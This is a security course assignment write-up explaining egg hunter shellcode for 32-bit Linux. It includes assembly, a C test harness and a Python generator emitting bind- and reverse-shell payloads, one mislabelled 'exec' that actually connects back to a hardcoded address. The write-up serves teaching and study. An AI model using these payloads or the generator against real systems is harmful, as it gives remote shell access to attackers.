http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-858
Exercise
- Study about the egg hunter shellcode
- Create a working demo of the Egghunter
- Should be configurable for different payloads
Solution
First, What is an EggHunter shellcode?A EggHunter is a little program that It is used to find a "pattern". In our case of study, our egghunter look for the pattern because after is the shellcode. It is very important and useful when we don't know where is the shellcode. So the egghunter program will look in all the memory position to find the "EGG" and run the shellcode.
Exists multiple ways to do an egghunter shellcode, but the best way is read all the memory position to find it.
global _start
_start:
align_page:
or cx,0xfff ; page alignment
next_address:
inc ecx
push byte +0x43 ; sigaction(2)
pop eax
int 0x80
cmp al,0xf2 ; EFAULT?
jz align_page
mov eax, 0x50905090
mov edi, ecx
scasd
jnz next_address
scasd
jnz next_address
jmp edi
It is a very good way to read all memory positions, this egghunter shellcode was described in the Skape paper about the EggHunter. In this program, every memory position is read using the syscall sigaction, when the code EFAULT is returned means that the position is invalid and when it happens we aling the page, but when the position is OK we check the content of these position and compare with our EGG. If the egg is inside the position, our shellcode is 8-bytes after. So we jump to the 8-byte after position where we found the EGG.
Demo
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ nasm -f elf32 egg-hunter.nasm -o egg-hunter.o
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ld egg-hunter.o -o egg-hunter
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ objdump -d ./egg-hunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ cat shellcode.c
#include
#include
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] =
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egg_hunter;
ret();
}
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./shellcode
Egg hunter Length: 30
Shellcode Length: 94
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$
Configurable for different payloads
I made a simple script that it generate an egghunter shellcode with different payloads like exec, bind and reverse:
#!/usr/bin/env python
import sys
import struct
import os
import binascii
import socket
from optparse import OptionParser, OptionGroup
shellcode_l = {
'exec':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
'reverse':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68ADDRESS\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
'bind':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
}
def eggHunter(egg):
egghunter = "\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8%s\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7"%getEgg(egg)
return egghunter
def port2hex(port):
return struct.pack(">H", port)
def address2hex(address):
addr = binascii.hexlify(socket.inet_aton(address))
return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))
def getEgg(eggi):
egg = ""
for c in range(0, 8, 2):
egg += "\\x%s%s" % (eggi[c], eggi[c+1])
return egg
def nullBytes(cad):
check = [cad.encode('hex')[i:i+2] for i in range(0, len(cad.encode('hex')), 2)]
for i in check:
if (i == "00"):
print "[-] The payload contains null bytes :("
def reversePayload(egg, address, port):
port = port2hex(int(port))
nullBytes(port)
address = address2hex(address)
nullBytes(address)
shellcode = shellcode_l["reverse"]
shellcode_o = shellcode.replace("PORT", port).replace("ADDRESS", address)
sc = ""
for c in bytearray(shellcode_o):
sc += "\\x%02x" % c
skeleton(egg, sc)
def bindPayload(egg, port):
port = port2hex(int(port))
port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
nullBytes(port)
shellcode = shellcode_l["bind"]
shellcode_o = shellcode.replace("PORT", port)
sc = ""
for c in bytearray(shellcode_o):
sc += "\\x%02x" % c
skeleton(egg, sc)
def execPayload(egg):
shellcode = shellcode_l["exec"]
sc = ""
for c in bytearray(shellcode):
sc += "\\x%02x" % c
skeleton(egg, sc)
def skeleton(egg, shellcode):
shellcode_c = '#include\n\
#include\n\
#define EGG "%s"\n\
unsigned char egg_hunter[] = "%s";\n\
unsigned char code[] = \n\
EGG\n\
EGG\n\
"%s";\n\
main(){\n\
printf("Egg hunter Length: %%d\\n", strlen(egg_hunter));\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%(getEgg(egg),eggHunter(egg),shellcode)
print shellcode_c
def opciones():
parser = OptionParser("usage: %prog [options] \nExample: ./%prog -e 50905090 -p exec")
parser.add_option("-e", "--egghunter",
action="store", type="string", dest="egghunter", help="Egghunter pattern")
parser.add_option("-p", "--payload",
action="store", type="string", dest="payload", help="Payload (exec, bind, reverse)")
parser.add_option("-x", "--port",
action="store", type="string", dest="port", help="Port (bind or reverse payload)")
parser.add_option("-a", "--address",
action="store", type="string", dest="address", help="Address (reverse payload)")
(options, args) = parser.parse_args()
if (len(sys.argv) == 1):
parser.print_help()
elif (options.egghunter is not None) and (options.payload is not None):
if (options.payload == "exec"):
execPayload(options.egghunter)
elif (options.payload == "bind"):
if (options.port is not None):
bindPayload(options.egghunter, options.port)
else:
print "[-] Bindi shellcode needs a port"
elif (options.payload == "reverse"):
if (options.port is not None) and (options.address is not None):
reversePayload(options.egghunter, options.address, options.port)
else:
print "[-] Reverse shellcode needs port and address"
else:
print "[-] Payload not valid"
else:
print "[-] Need egghunter and payload"
if __name__ == "__main__":
opciones()
Example:
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./egghunter.py -e 90509050 -p bind -x 4444
#include
#include
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] =
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment3